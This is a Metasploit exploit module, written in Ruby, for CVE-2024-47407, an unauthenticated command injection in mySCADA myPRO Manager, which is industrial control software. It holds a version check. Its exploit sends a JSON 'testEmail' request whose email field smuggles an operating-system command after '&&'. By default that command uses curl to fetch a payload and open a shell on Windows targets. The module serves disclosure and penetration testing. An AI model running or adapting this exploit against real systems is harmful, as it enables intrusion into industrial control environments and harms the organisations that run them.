class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)', 'Description' => %q{ Unauthenticated Command Injection in MyPRO Manager <= v1.2 from mySCADA. The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of the myscada9 administrative user that is automatically added by the product. }, 'License' => MSF_LICENSE, 'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module 'References' => [ [ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07'], [ 'CVE', '2024-47407'] ], 'DisclosureDate' => '2024-11-21', 'DefaultOptions' => { 'RPORT' => 34022, 'SSL' => 'False' }, 'Platform' => 'win', 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Windows_Fetch', { 'Arch' => [ ARCH_CMD ], 'Platform' => 'win', 'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' }, 'Type' => :win_fetch } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ OptString.new( 'TARGETURI', [ true, 'The URI for the MyPRO Manager web interface', '/' ] ) ] ) end def check begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'assets/index-Aup6jYxO.js') }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError return CheckCode::Unknown end if res.to_s =~ /const v="([^"]+)"/ version = ::Regexp.last_match(1) vprint_status('Version retrieved: ' + version) if Rex::Version.new(version) <= Rex::Version.new('1.2') return CheckCode::Appears end return CheckCode::Safe end return CheckCode::Unknown end def exploit execute_command(payload.encoded) end def execute_command(cmd) exec_mypro_mgr(cmd) print_status('Exploit finished, check thy shell.') end def exec_mypro_mgr(cmd) post_data = { 'command' => 'testEmail', 'email' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com&&#{cmd} #" } res = send_request_cgi({ 'method' => 'POST', 'ctype' => 'application/json', 'data' => JSON.generate(post_data), 'uri' => normalize_uri(target_uri.path, 'get') }) if res&.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. Depending on the payload, we might not get a response at all due to a timeout. print_good('Command successfully executed, check your shell.') else print_error('Unexpected or no reply received.') end end end